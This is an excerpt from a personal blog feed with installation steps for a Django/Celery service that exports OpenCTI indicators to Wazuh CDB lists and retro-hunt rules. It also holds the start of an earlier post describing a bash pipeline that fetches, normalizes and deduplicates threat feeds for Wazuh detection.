<p>The repository with all files, rules, and the full installation reference is at:</p>

<p><strong><a href="https://github.com/federicofantini/Wazuh-TI">https://github.com/federicofantini/Wazuh-TI</a></strong></p>

<p>The steps below are a condensed reference. The README contains additional detail, edge cases, and troubleshooting notes.</p>

<h3 id="91-deploy-the-djangocelery-stack">9.1 Deploy the Django/Celery stack</h3>

<p>Clone the repository and copy the environment template:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>git clone https://github.com/federicofantini/Wazuh-TI.git
<span class="nb">cd </span>Wazuh-TI
<span class="nb">cp </span>docker/.env.example docker/.env
</code></pre></div></div>

<p>Edit <code class="language-html highlighter-rouge">docker/.env</code> and set at minimum:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="syntax"><code>DJANGO_SECRET_KEY=&lt;openssl rand -hex 32&gt;
DJANGO_ALLOWED_HOSTS=localhost,127.0.0.1,wazuh-ti.example.internal
DJANGO_CSRF_TRUSTED_ORIGINS=https://wazuh-ti.example.internal
POSTGRES_PASSWORD=&lt;strong password&gt;
DATABASE_URL=postgresql://wazuh_ti:&lt;same password&gt;@postgres:5432/wazuh_ti
DJANGO_SUPERUSER_PASSWORD=&lt;admin password&gt;
WAZUH_TI_EXPORT_API_TOKEN=&lt;random token&gt;
WAZUH_TI_TAXII_URL=https://opencti.example/api/taxii2/root/collections/&lt;id&gt;/objects/
WAZUH_TI_WAZUH_INDEXER_URL=https://wazuh-indexer.example:9200
WAZUH_TI_WAZUH_INDEXER_USERNAME=&lt;indexer user&gt;
WAZUH_TI_WAZUH_INDEXER_PASSWORD=&lt;indexer password&gt;
</code></pre></div></div>

<p>Start the stack:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>docker compose <span class="nt">-f</span> docker/docker-compose.local.yml up <span class="nt">-d</span> <span class="nt">--build</span>
</code></pre></div></div>

<p>The <code class="language-html highlighter-rouge">web</code> container runs migrations, bootstraps the <code class="language-html highlighter-rouge">TiConfiguration</code> singleton if absent, and creates the first superuser. Open <code class="language-html highlighter-rouge">http://localhost:8000/admin/</code> and verify the TI configuration under <strong>TI configuration → Wazuh-TI configuration</strong>.</p>

<h3 id="92-wazuh-manager-rules-and-ossecconf">9.2 Wazuh manager: rules and ossec.conf</h3>

<p>Copy the provided rule files onto the Wazuh manager:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nb">sudo cp </span>wazuh-manager/var/ossec/etc/rules/local_ti_rules_opencti_linux.xml /var/ossec/etc/rules/
<span class="nb">sudo cp </span>wazuh-manager/var/ossec/etc/rules/local_ti_rules_opencti_windows.xml /var/ossec/etc/rules/
<span class="nb">sudo cp </span>wazuh-manager/var/ossec/etc/rules/local_ti_rules_retrohunt.xml      /var/ossec/etc/rules/
<span class="nb">sudo chown </span>wazuh:wazuh /var/ossec/etc/rules/local_ti_rules_<span class="k">*</span>.xml
</code></pre></div></div>

<p>Register the CDB lists and the retro-hunt <code class="language-html highlighter-rouge">localfile</code> in <code class="language-html highlighter-rouge">/var/ossec/etc/ossec.conf</code>:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="c">&lt;!-- inside &lt;ruleset&gt; --&gt;</span>
<span class="nt">&lt;list&gt;</span>etc/lists/opencti_ips<span class="nt">&lt;/list&gt;</span>
<span class="nt">&lt;list&gt;</span>etc/lists/opencti_domains<span class="nt">&lt;/list&gt;</span>
<span class="nt">&lt;list&gt;</span>etc/lists/opencti_file_hashes<span class="nt">&lt;/list&gt;</span>

<span class="c">&lt;!-- inside &lt;ossec_config&gt; --&gt;</span>
<span class="nt">&lt;localfile&gt;</span>
  <span class="nt">&lt;location&gt;</span>/var/ossec/logs/opencti_retrohunt_events.json<span class="nt">&lt;/location&gt;</span>
  <span class="nt">&lt;log_format&gt;</span>json<span class="nt">&lt;/log_format&gt;</span>
<span class="nt">&lt;/localfile&gt;</span>
</code></pre></div></div>

<p>Create the retro-hunt log file and restart the manager:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nb">sudo touch</span> /var/ossec/logs/opencti_retrohunt_events.json
<span class="nb">sudo chown </span>wazuh:wazuh /var/ossec/logs/opencti_retrohunt_events.json
<span class="nb">sudo chmod </span>640 /var/ossec/logs/opencti_retrohunt_events.json
<span class="nb">sudo </span>systemctl restart wazuh-manager
</code></pre></div></div>

<h3 id="93-install-the-manager-downloader">9.3 Install the manager downloader</h3>

<p>Create the dedicated unprivileged user and deploy the downloader:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nb">sudo </span>adduser <span class="nt">--disabled-password</span> <span class="nt">--gecos</span> <span class="s2">""</span> opencti-ti
<span class="nb">sudo</span> <span class="nt">-u</span> opencti-ti <span class="nb">mkdir</span> <span class="nt">-p</span> /home/opencti-ti/<span class="o">{</span>bin,iocs,logs<span class="o">}</span>

<span class="nb">sudo cp </span>wazuh-manager/usr/local/bin/fetch-opencti-lists-from-django.py <span class="se">\</span>
  /home/opencti-ti/bin/fetch-opencti-lists-from-django.py
<span class="nb">sudo chown </span>opencti-ti:opencti-ti /home/opencti-ti/bin/fetch-opencti-lists-from-django.py
<span class="nb">sudo chmod </span>750 /home/opencti-ti/bin/fetch-opencti-lists-from-django.py
</code></pre></div></div>

<p>Edit the constants at the top of the script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="n">WAZUH_TI_BASE_URL</span> <span class="o">=</span> <span class="s">"https://wazuh-ti.example.internal"</span>
<span class="n">WAZUH_TI_TOKEN</span>    <span class="o">=</span> <span class="s">"&lt;export_api_token from Django Admin&gt;"</span>
<span class="n">INSECURE_TLS</span>      <span class="o">=</span> <span class="bp">False</span>
</code></pre></div></div>

<p>Test it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nb">sudo</span> <span class="nt">-u</span> opencti-ti /home/opencti-ti/bin/fetch-opencti-lists-from-django.py
<span class="nb">sudo</span> <span class="nt">-u</span> opencti-ti <span class="nb">ls</span> <span class="nt">-lh</span> /home/opencti-ti/iocs/
</code></pre></div></div>

<h3 id="94-cron-jobs">9.4 Cron jobs</h3>

<p><code class="language-html highlighter-rouge">opencti-ti</code> crontab — refresh exported artifacts hourly:</p>

<pre><code class="language-cron">SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

10 * * * * /home/opencti-ti/bin/fetch-opencti-lists-from-django.py &gt;&gt; /home/opencti-ti/logs/fetch-opencti-lists-from-django.log 2&gt;&amp;1
</code></pre>

<p>Root crontab — install CDB lists and restart Wazuh twice daily; append retro-hunt events hourly:</p>

<pre><code class="language-cron"># Copy CDB lists and restart Wazuh to recompile them.
5 23,6 * * * cp /home/opencti-ti/iocs/opencti_ips /home/opencti-ti/iocs/opencti_domains /home/opencti-ti/iocs/opencti_file_hashes /var/ossec/etc/lists/ &amp;&amp; chown wazuh:wazuh /var/ossec/etc/lists/opencti_ips /var/ossec/etc/lists/opencti_domains /var/ossec/etc/lists/opencti_file_hashes &amp;&amp; chmod 640 /var/ossec/etc/lists/opencti_ips /var/ossec/etc/lists/opencti_domains /var/ossec/etc/lists/opencti_file_hashes
15 23,6 * * * systemctl restart wazuh-manager &gt;&gt; /var/log/wazuh-restart.log 2&gt;&amp;1

# Append new retro-hunt events (no restart needed).
20 * * * * test -s /home/opencti-ti/iocs/opencti_retrohunt_events.json &amp;&amp; cat /home/opencti-ti/iocs/opencti_retrohunt_events.json &gt;&gt; /var/ossec/logs/opencti_retrohunt_events.json &amp;&amp; chown wazuh:wazuh /var/ossec/logs/opencti_retrohunt_events.json &amp;&amp; chmod 640 /var/ossec/logs/opencti_retrohunt_events.json
</code></pre>

<h3 id="95-verify">9.5 Verify</h3>

<p>Check that the manager compiled the CDB lists after the restart:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nb">sudo ls</span> <span class="nt">-lh</span> /var/ossec/etc/lists/opencti_<span class="k">*</span>.cdb
</code></pre></div></div>

<p>Test the retro-hunt rule with <code class="language-html highlighter-rouge">wazuh-logtest</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nb">sudo</span> /var/ossec/bin/wazuh-logtest
</code></pre></div></div>

<p>Paste this event and confirm rule <code class="language-html highlighter-rouge">1500</code> fires at level 16:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="p">{</span><span class="nl">"retrohunt"</span><span class="p">:{</span><span class="nl">"source"</span><span class="p">:</span><span class="s2">"opencti"</span><span class="p">,</span><span class="nl">"match_type"</span><span class="p">:</span><span class="s2">"historical_ioc_match"</span><span class="p">,</span><span class="nl">"kind"</span><span class="p">:</span><span class="s2">"ip"</span><span class="p">,</span><span class="nl">"value"</span><span class="p">:</span><span class="s2">"198.51.100.1"</span><span class="p">,</span><span class="nl">"historical"</span><span class="p">:{</span><span class="nl">"index"</span><span class="p">:</span><span class="s2">"wazuh-alerts-test"</span><span class="p">,</span><span class="nl">"document_id"</span><span class="p">:</span><span class="s2">"test-1"</span><span class="p">,</span><span class="nl">"timestamp"</span><span class="p">:</span><span class="s2">"2026-06-13T10:00:00Z"</span><span class="p">}}}</span><span class="w">
</span></code></pre></div></div>

<h2 id="10-closing-notes">10. Closing Notes</h2>

<p>This is the current shape of my Wazuh-TI integration.</p>

<p>The project started as a feed updater script and slowly became a small OpenCTI-to-Wazuh service. The main difference is that it now has state: I can see fetches, exports, queued retro-hunts, failed searches and historical hits without guessing from cron logs. I have been using it in my homelab for about three weeks, and the current version is complete enough to be reproducible.</p>

<p>There is still room for improvement: the downloader could be packaged more cleanly, the manager-side install step could be made more atomic, and the Wazuh rule set can be expanded with more environment-specific telemetry. For my current scope, that is enough. OpenCTI stays the source of CTI context, the Django service turns selected indicators into Wazuh-friendly artifacts, and the Wazuh manager stays focused on detection.</p>

<p>The repository contains the setup guide and the files used in my deployment. Contributions, issues and pull requests are welcome.</p>

<h2 id="11-summary">11. Summary</h2>

<div class="markmap"><script type="text/template">
# Wazuh-TI + OpenCTI
## Ingestion
### OpenCTI TAXII collection
### STIX extraction (observables + patterns)
### IPv4 / IPv6 / domains / hashes
### Zero-indicator safety guard
### First-run baseline flag
## Filtering
### Tranco full-domain filter
### Parent-domain suffix suppression
### IPv6 quoted CDB keys
## State
### Indicator (current snapshot)
### FetchRun (ingestion audit)
### RetroJob (transient work queue)
### RetroHuntRun (query pass metadata)
### RetroHit (confirmed evidence, never deleted)
## Export endpoints
### /opencti_ips
### /opencti_domains
### /opencti_file_hashes
### /opencti_retrohunt_events.json
## Wazuh manager
### opencti-ti (unprivileged downloader)
### CDB lists → /var/ossec/etc/lists/
### Root cron: copy + manager restart (2×/day)
### Root cron: JSONL append (hourly, no restart)
## Detection
### Future: CDB match → rules 1400–1454
### Historical: retrohunt JSONL → rule 1500
### Suricata: IP / DNS / TLS SNI / HTTP host
### Sysmon: network / DNS / file hashes (wildcard)
## Retro-Hunting
### New IOC → RetroJob queued automatically
### search_after pagination (no deep-offset penalty)
### Local re-verification before writing RetroHit
### JSONL delta export (last-event hash dedup)
</script></div>]]></content><author><name>Federico Fantini</name></author><category term="Threat-Intelligence" /><category term="Homelab" /><category term="Wazuh" /><category term="Sysmon" /><category term="Suricata" /><category term="OpenCTI" /><category term="Django" /><category term="Retro-Hunting" /><summary type="html"><![CDATA[INDEX 0. Introduction 1. Why the OpenCTI path needed a different design 2. Architecture Overview 3. Ingestion and IOC Snapshot Management 4. Tranco Filtering and Export Constraints 5. Retro-Hunting Against Wazuh Indexer 6. Wazuh Manager Integration 7. CDB Lists, JSON Events, and Rule Flow 8. Detection Demo: CobaltStrike C2 from Shodan Step 1: IOC not in OpenCTI Step 2: Simulate the beacon communication Step 3: Add the IOC to OpenCTI Step 4: Pipeline picks up the new indicators 9. Installation 9.1 Deploy the Django/Celery stack 9.2 Wazuh manager: rules and ossec.conf 9.3 Install the manager downloader 9.4 Cron jobs 9.5 Verify 10. Closing Notes 11. Summary]]></summary></entry><entry><title type="html">Automating Threat Intelligence Alerts in Wazuh: A Practical Homelab Pipeline</title><link href="https://federicofantini.github.io/blog/2026/03/23/Wazuh-Threat-Intelligence.html" rel="alternate" type="text/html" title="Automating Threat Intelligence Alerts in Wazuh: A Practical Homelab Pipeline" /><published>2026-03-23T00:00:00+01:00</published><updated>2026-03-23T00:00:00+01:00</updated><id>https://federicofantini.github.io/blog/2026/03/23/Wazuh-Threat-Intelligence</id><content type="html" xml:base="https://federicofantini.github.io/blog/2026/03/23/Wazuh-Threat-Intelligence.html"><![CDATA[<p>INDEX</p>
<ul>
  <li><a href="#0-introduction">0. Introduction</a></li>
  <li><a href="#1-architecture-overview">1. Architecture Overview</a>
    <ul>
      <li><a href="#overview-of-each-component-see-the-diagram-above">Overview of Each Component (see the diagram above):</a>
        <ul>
          <li><a href="#1-ti-sources">1. TI Sources</a></li>
          <li><a href="#2-automation-layer-update-ti-listssh">2. Automation Layer (<code class="language-html highlighter-rouge">update-ti-lists.sh</code>)</a></li>
          <li><a href="#3-wazuh-manager">3. Wazuh Manager</a></li>
          <li><a href="#4-telemetry">4. Telemetry</a></li>
          <li><a href="#5-detection">5. Detection</a></li>
          <li><a href="#6-alerting">6. Alerting</a></li>
        </ul>
      </li>
    </ul>
  </li>
  <li><a href="#2-installation">2. Installation</a></li>
  <li><a href="#3-automation-layer-normalization-and-deduplication">3. Automation Layer: Normalization and Deduplication</a>
    <ul>
      <li><a href="#31-indicator-extraction-and-normalization">3.1 Indicator Extraction and Normalization</a>
        <ul>
          <li><a href="#ipv4-extraction-from-rule-files-and-blocklists">IPv4 Extraction (from rule files and blocklists)</a></li>
          <li><a href="#remove-private-and-local-ip-ranges">Remove private and local IP ranges</a></li>
          <li><a href="#normalize-phishing-urls-to-domains-openphish">Normalize phishing URLs to domains (OpenPhish)</a></li>
          <li><a href="#json-feed-normalization-threatfox-example">JSON Feed Normalization (ThreatFox example)</a></li>
        </ul>
      </li>
      <li><a href="#32-key-based-deduplication">3.2 Key-Based Deduplication</a></li>
      <li><a href="#33-size-based-pruning">3.3 Size-Based Pruning</a></li>
      <li><a href="#34-why-this-design-works">3.4 Why This Design Works</a></li>
    </ul>
  </li>
  <li><a href="#4-detection-layer-how-wazuh-rules-use-threat-intelligence-lists">4. Detection Layer: How Wazuh Rules Use Threat Intelligence Lists</a></li>
  <li><a href="#41-how-wazuh-rules-work-tree-structure-and-evaluation-order">4.1 How Wazuh Rules Work (Tree Structure and Evaluation Order)</a>
    <ul>
      <li><a href="#important-behavior">Important Behavior</a></li>
    </ul>
  </li>
  <li><a href="#42-how-cdb-list-matching-works">4.2 How CDB List Matching Works</a></li>
  <li><a href="#43-real-example-tor-alert-and-syncthing-noise">4.3 Real Example: TOR Alert and Syncthing Noise</a></li>
  <li><a href="#44-linux-and-windows-ti-rules">4.4 Linux and Windows TI Rules</a>
    <ul>
      <li><a href="#linux">Linux</a></li>
      <li><a href="#windows-sysmon">Windows (Sysmon)</a></li>
    </ul>
  </li>
  <li><a href="#45-telemetry-assumptions">4.5 Telemetry Assumptions</a></li>
  <li><a href="#5-demonstration-end-to-end-ioc-detection">5. Demonstration: End-to-End IOC Detection</a>
    <ul>
      <li><a href="#step-1---indicator-present-in-ti-feed">Step 1 - Indicator present in TI feed</a></li>
      <li><a href="#step-2---telemetry-event-observed">Step 2 - Telemetry event observed</a></li>
      <li><a href="#step-3---cdb-list-match">Step 3 - CDB list match</a></li>
      <li><a href="#step-4---wazuh-alert-generated">Step 4 - Wazuh alert generated</a></li>
      <li><a href="#step-5---discord-notification">Step 5 - Discord notification</a></li>
    </ul>
  </li>
  <li><a href="#6-a-practical-alternative-while-waiting-for-native-cti">6. A Practical Alternative While Waiting for Native CTI</a></li>
  <li><a href="#7-summary">7. Summary</a></li>
  <li><a href="#8-update">8. Update</a></li>
</ul>

<h2 id="0-introduction">0. Introduction</h2>

<p>This project is built using the <a href="https://wazuh.com/?utm_source=ambassadors&amp;utm_medium=referral&amp;utm_campaign=ambassadors+program">Wazuh security platform</a>.</p>

<p>If you are interested in contributing to the community, you can also learn more about the <a href="https://wazuh.com/ambassadors-program/?utm_source=ambassadors&amp;utm_medium=referral&amp;utm_campaign=ambassadors+program">Wazuh Ambassadors Program</a>.</p>

<hr />

<p>In today’s cybersecurity landscape, threat intelligence (TI) plays a crucial role in detecting, understanding, and responding to attacks. In enterprise environments, TI is often handled through dedicated CTI platforms and mature ingestion pipelines. Integrating external threat feeds in a structured and maintainable way is still something that requires deliberate engineering effort.</p>

<p>Wazuh is an open-source security platform for threat detection, response, and compliance, designed with flexibility and community-driven extensibility in mind. It supports a wide range of use cases including log analysis, file integrity monitoring, compliance reporting, and threat hunting.</p>

<p>Wazuh also provides <strong>Wazuh CTI</strong> (<a href="https://wazuh.com/blog/introducing-wazuh-cti/">Cyber Threat Intelligence</a>), which aggregates actionable information about threats and vulnerabilities and makes it available through the Wazuh ecosystem. Importantly, <strong>Wazuh is actively evolving CTI toward more native, integrated threat intelligence workflows inside the platform</strong>. As this direction matures, the long-term expectation is that IOC feeds and rule enrichment will become increasingly seamless and “built-in”.</p>

<p>This evolution is great news, but many users still need a convenient way to operationalize external threat intelligence today, without waiting for full native IOC feed integration.</p>

<p>This post documents a complete and reproducible TI detection pipeline built on Wazuh; a lightweight, transparent alternative you can deploy right now to improve visibility and protect a home network. The approach relies on a core Wazuh capability: <a href="https://documentation.wazuh.com/current/user-manual/ruleset/cdb-list.html">using CDB lists</a> + <a href="https://documentation.wazuh.com/current/user-manual/ruleset/rules/custom.html">custom rules</a> to match indicators (IPs, domains, hashes) inside the telemetry you already collect.</p>

<p>In this post, I outline an end-to-end pipeline that:</p>
<ol>
  <li><strong>Automates ingestion</strong> of external TI feeds</li>
  <li><strong>Normalizes and deduplicates</strong> indicators into stable formats</li>
  <li><strong>Updates Wazuh CDB lists</strong> in a transparent way</li>
  <li><strong>Correlates indicators with host and network telemetry</strong> (Sysmon + Suricata)</li>
  <li><strong>Triggers alerts</strong> and routes notifications to Discord</li>
</ol>

<p>Until native CTI feeds are fully integrated into Wazuh, this setup provides a practical way to experiment with threat intelligence in a Wazuh homelab.</p>

<h2 id="1-architecture-overview">1. Architecture Overview</h2>

<p>Before diving into scripts and rule logic, it is important to understand the overall design “philosophy” of this setup.</p>

<p>Wazuh uses CDB (Constant Database) lists to match telemetry fields such as IP addresses, domains, or file hashes against known indicators. Detection rules can then generate alerts when a match occurs.</p>

<pre><code class="language-mermaid">flowchart LR
    subgraph src["TI Sources"]
        direction TB
        tv["ThreatView"]
        et["Emerging Threats"]
        tf["ThreatFox"]
        av["AlienVault"]
        op["OpenPhish"]
        ip["IPsum"]
    end

    Script["update-ti-lists.sh\nfetch · normalize · dedup · prune"]

    subgraph mgr["Wazuh Manager"]
        direction TB
        Lists["/var/ossec/etc/lists/\nCDB lists"]
        Engine["Rule engine"]
    end

    subgraph telem["Telemetry"]
        direction TB
        Sysmon["Sysmon\n(Windows)"]
        Suricata["Suricata\n(Network)"]
    end

    Discord(["Discord"])

    src --&gt;|"daily cron"| Script
    Script --&gt; Lists
    Lists --&gt; Engine
    telem --&gt;|"events"| Engine
    Engine --&gt;|"alert"| Discord
</code></pre>

<h3 id="overview-of-each-component-see-the-diagram-above">Overview of Each Component (see the diagram above):</h3>

<h4 id="1-ti-sources">1. TI Sources</h4>

<p>These are external sources of threat intelligence, including open-source and community-maintained lists or feeds. In this project several feeds are pulled (ThreatView, Emerging Threats, ThreatFox, AlienVault, OpenPhish, and IPsum) and processed by the automation layer. Indicators extracted from each source are normalized and then distributed into the appropriate CDB lists.</p>

<h4 id="2-automation-layer-update-ti-listssh">2. Automation Layer (<a href="https://github.com/federicofantini/Wazuh-TI/blob/9302ae3f968f65e05a21b2ac6e5243510b1b40f2/wazuh-manager/usr/local/bin/update-ti-lists.sh"><code class="language-html highlighter-rouge">update-ti-lists.sh</code></a>)</h4>

<p>This script is responsible for centralizing the threat intelligence ingestion workflow. Its main tasks are:</p>

<ul>
  <li>Fetching TI feeds from the configured sources</li>
  <li>Normalizing the indicators into a uniform structure</li>
  <li>Deduplicating entries to reduce redundancy</li>
  <li>Producing cleaned lists of indicators in a format that can be consumed by Wazuh</li>
</ul>

<p>The output of this process are lists of unique indicators ready for conversion into CDB format. These lists are then stored and referenced by the Wazuh manager.</p>

<h4 id="3-wazuh-manager">3. Wazuh Manager</h4>

<p>On the Wazuh manager, the generated lists are registered in the server configuration file (<a href="https://github.com/federicofantini/Wazuh-TI/blob/9302ae3f968f65e05a21b2ac6e5243510b1b40f2/wazuh-manager/var/ossec/etc/ossec.conf"><code class="language-html highlighter-rouge">ossec.conf</code></a>), making them available to the analysis engine so that when incoming events are parsed and decoded, extracted field values can be matched against the CDB lists, which Wazuh automatically builds and loads as optimized constant database files during startup to enable fast lookups.</p>

<h4 id="4-telemetry">4. Telemetry</h4>

<p>A threat intelligence pipeline requires data to match against. This setup uses multiple telemetry sources to ensure visibility:</p>

<ul>
  <li><strong>Sysmon (Windows):</strong> Provides detailed Windows event logs, including process lifecycle, network connections, and image loads.</li>
  <li><strong>Suricata (Network):</strong> An IDS/IPS engine tuned for homelab use to observe network activity that may contain suspicious connections.</li>
  <li><strong>Auditd (Linux – Work In Progress):</strong> Adds syscall-level visibility for deeper insight into Linux endpoint activity.</li>
</ul>

<p>Together, these telemetry sources provide the fields that detection rules can evaluate against threat indicators.</p>

<h4 id="5-detection">5. Detection</h4>

<p>Once telemetry events arrive at the Wazuh manager, custom detection rules are applied. These rules check event fields against entries stored in the CDB lists. The custom rules used in this project include:</p>

<ul>
  <li><strong>Linux TI rules:</strong> Defined in <a href="https://github.com/federicofantini/Wazuh-TI/blob/9302ae3f968f65e05a21b2ac6e5243510b1b40f2/wazuh-manager/var/ossec/etc/rules/local_ti_rules_linux.xml"><code class="language-html highlighter-rouge">local_ti_rules_linux.xml</code></a></li>
  <li><strong>Windows TI rules:</strong> Defined in <a href="https://github.com/federicofantini/Wazuh-TI/blob/9302ae3f968f65e05a21b2ac6e5243510b1b40f2/wazuh-manager/var/ossec/etc/rules/local_ti_rules_windows.xml"><code class="language-html highlighter-rouge">local_ti_rules_windows.xml</code></a></li>
</ul>

<p>Rules use CDB lookups to decide if a specific indicator match warrants generating an alert. Custom rules in Wazuh allow you to tailor detection logic to your environment and use case.</p>

<h4 id="6-alerting">6. Alerting</h4>

<p>When a rule matches an indicator, Wazuh’s internal alert engine produces an alert. These alerts can be consumed by any external notification channel. In this project, alerts are routed to Discord using an <a href="https://maikroservice.com/how-to-connect-wazuh-and-discord-a-step-by-step-guide">external integration</a>, enabling real-time visibility into threat intelligence matches without having to monitor the Wazuh dashboard directly.</p>

<hr />

<p>The architecture intentionally separates indicator lifecycle from rule evaluation, keeping ingestion logic independent from detection behavior. By combining Wazuh’s built-in list matching and custom rule capabilities with a lightweight automation layer, this setup delivers actionable threat intelligence detection <strong>today</strong>, even as the <a href="https://wazuh.com/blog/introducing-wazuh-cti/">Wazuh CTI</a> ecosystem continues to evolve toward more native integration in future releases.</p>

<h2 id="2-installation">2. Installation</h2>
<p>Please follow the <a href="https://github.com/federicofantini/Wazuh-TI/blob/9302ae3f968f65e05a21b2ac6e5243510b1b40f2/README.md"><code class="language-html highlighter-rouge">README.md</code></a> file inside my dedicated installation repository: <a href="https://github.com/federicofantini/Wazuh-TI/tree/9302ae3f968f65e05a21b2ac6e5243510b1b40f2">https://github.com/federicofantini/Wazuh-TI</a>.</p>

<h2 id="3-automation-layer-normalization-and-deduplication">3. Automation Layer: Normalization and Deduplication</h2>

<p>The purpose of <a href="https://github.com/federicofantini/Wazuh-TI/blob/9302ae3f968f65e05a21b2ac6e5243510b1b40f2/wazuh-manager/usr/local/bin/update-ti-lists.sh"><code class="language-html highlighter-rouge">update-ti-lists.sh</code></a> is simple: transform heterogeneous threat feeds into clean, explicit <code class="language-html highlighter-rouge">key:tag</code> lists that Wazuh can consume as CDB lists.</p>

<p>No external database. No enrichment engine. Just controlled extraction, normalization, and deduplication.</p>

<h3 id="31-indicator-extraction-and-normalization">3.1 Indicator Extraction and Normalization</h3>

<p>Different feeds expose indicators in different formats: plain text lists, Suricata rules, JSON APIs, or phishing URLs.</p>

<p>The script reduces everything to structured <code class="language-html highlighter-rouge">indicator:source_tag</code> lines.</p>

<h4 id="ipv4-extraction-from-rule-files-and-blocklists">IPv4 Extraction (from rule files and blocklists)</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nb">grep</span> <span class="nt">-Eo</span> <span class="s1">'([0-9]{1,3}\.){3}[0-9]{1,3}'</span>
</code></pre></div></div>

<p>Only IPv4 patterns are extracted. Everything else is discarded.</p>

<h4 id="remove-private-and-local-ip-ranges">Remove private and local IP ranges</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nb">grep</span> <span class="nt">-vP</span> <span class="s1">'(^127\.|^10\.|^192\.168\.|^172\.(1[6-9]|2[0-9]|3[0-1])\.)'</span>
</code></pre></div></div>

<p>This prevents polluting lists with non-routable addresses.</p>

<h4 id="normalize-phishing-urls-to-domains-openphish">Normalize phishing URLs to domains (OpenPhish)</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nb">sed</span> <span class="nt">-E</span> <span class="s1">'s#^https?://##i; s#/.*##'</span>
<span class="nb">sed</span> <span class="nt">-E</span> <span class="s1">'s/^www\.//i'</span>
<span class="nb">grep</span> <span class="nt">-Evi</span> <span class="s1">'^(#|$)'</span>
</code></pre></div></div>

<p>This:</p>

<ul>
  <li>Removes protocol prefixes</li>
  <li>Removes URL paths</li>
  <li>Strips <code class="language-html highlighter-rouge">www.</code></li>
  <li>Drops empty/comment lines</li>
</ul>

<h4 id="json-feed-normalization-threatfox-example">JSON Feed Normalization (ThreatFox example)</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>jq <span class="nt">-r</span> <span class="s1">'
  .data[]?
  | select(.ioc_type=="ip" or .ioc_type=="ip:port")
  | (.ioc | split(":")[0]) as $ip
  | "\($ip):threatfox_\(.threat_type)_\(.malware)"
'</span>
</code></pre></div></div>

<p>This:</p>

<ul>
  <li>Filters relevant IOC types</li>
  <li>Removes ports</li>
  <li>Outputs structured <code class="language-html highlighter-rouge">ip:tag</code> lines</li>
  <li>Discards all other metadata</li>
</ul>

<hr />

<p>At the end of normalization, every list entry follows the same format:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>indicator:source_tag
</code></pre></div></div>

<h3 id="32-key-based-deduplication">3.2 Key-Based Deduplication</h3>

<p>After aggregation, duplicate indicators across feeds are expected.</p>

<p>The script performs key-based deduplication using the field before <code class="language-html highlighter-rouge">:</code> as the unique identifier.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>gawk <span class="nt">-F</span>: <span class="s1">'
  NF &gt;= 2 {
    key = $1
    last[key] = $0
    lastpos[key] = NR
  }
  END {
    n = asorti(lastpos, keys, "@val_num_asc")
    for (i = 1; i &lt;= n; i++) {
      k = keys[i]
      print last[k]
    }
  }
'</span>
</code></pre></div></div>

<p>Important details:</p>

<ul>
  <li>Deduplication is done on the indicator key only</li>
  <li>“New wins” semantics are applied (most recent occurrence is preserved)</li>
  <li>Temporal order is retained</li>
</ul>

<p>This is more precise than <code class="language-html highlighter-rouge">sort -u</code>, because it preserves context and order.</p>

<h3 id="33-size-based-pruning">3.3 Size-Based Pruning</h3>

<p>Lists can grow large over time. To avoid uncontrolled growth, a maximum size threshold is enforced.</p>

<p>If exceeded, older entries are pruned:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nb">tail</span> <span class="nt">-n</span> +<span class="s2">"</span><span class="k">$((</span>prune_lines <span class="o">+</span> <span class="m">1</span><span class="k">))</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$file</span><span class="s2">"</span> <span class="o">&gt;</span> <span class="s2">"</span><span class="nv">$tmp_prune</span><span class="s2">"</span>
</code></pre></div></div>

<p>This removes the oldest indicators first, keeping newer data intact.</p>

<p>The result:</p>

<ul>
  <li>Predictable list size</li>
  <li>Stable manager reload times</li>
  <li>Controlled disk usage</li>
</ul>

<h3 id="34-why-this-design-works">3.4 Why This Design Works</h3>

<p>The script guarantees:</p>

<ul>
  <li>Only extracted IPv4 and cleaned domains enter the lists</li>
  <li>Private IPv4 ranges are excluded</li>
  <li>All entries follow <code class="language-html highlighter-rouge">key:tag</code> format</li>
  <li>Duplicate keys are removed</li>
  <li>List growth is bounded</li>
</ul>

<p>The output is controlled and directly compatible with Wazuh CDB list compilation.</p>

<p>This keeps the ingestion layer minimal, transparent, and suitable for a homelab environment while still being operationally sound.</p>

<h2 id="4-detection-layer-how-wazuh-rules-use-threat-intelligence-lists">4. Detection Layer: How Wazuh Rules Use Threat Intelligence Lists</h2>

<p>Once the indicator lists are generated and placed inside <code class="language-html highlighter-rouge">/var/ossec/etc/lists/</code>, detection is entirely controlled by Wazuh rules.</p>

<p>Wazuh does not automatically alert on list entries. A rule must explicitly reference a list and specify which event field should be matched.</p>

<p>This section explains:</p>

<ul>
  <li>How Wazuh rules are structured</li>
  <li>How CDB list lookups work</li>
  <li>How Linux and Windows TI rules operate</li>
  <li>How noisy TOR/Syncthing alerts can be silenced correctly</li>
  <li>Why rule ordering and level inheritance matter</li>
</ul>

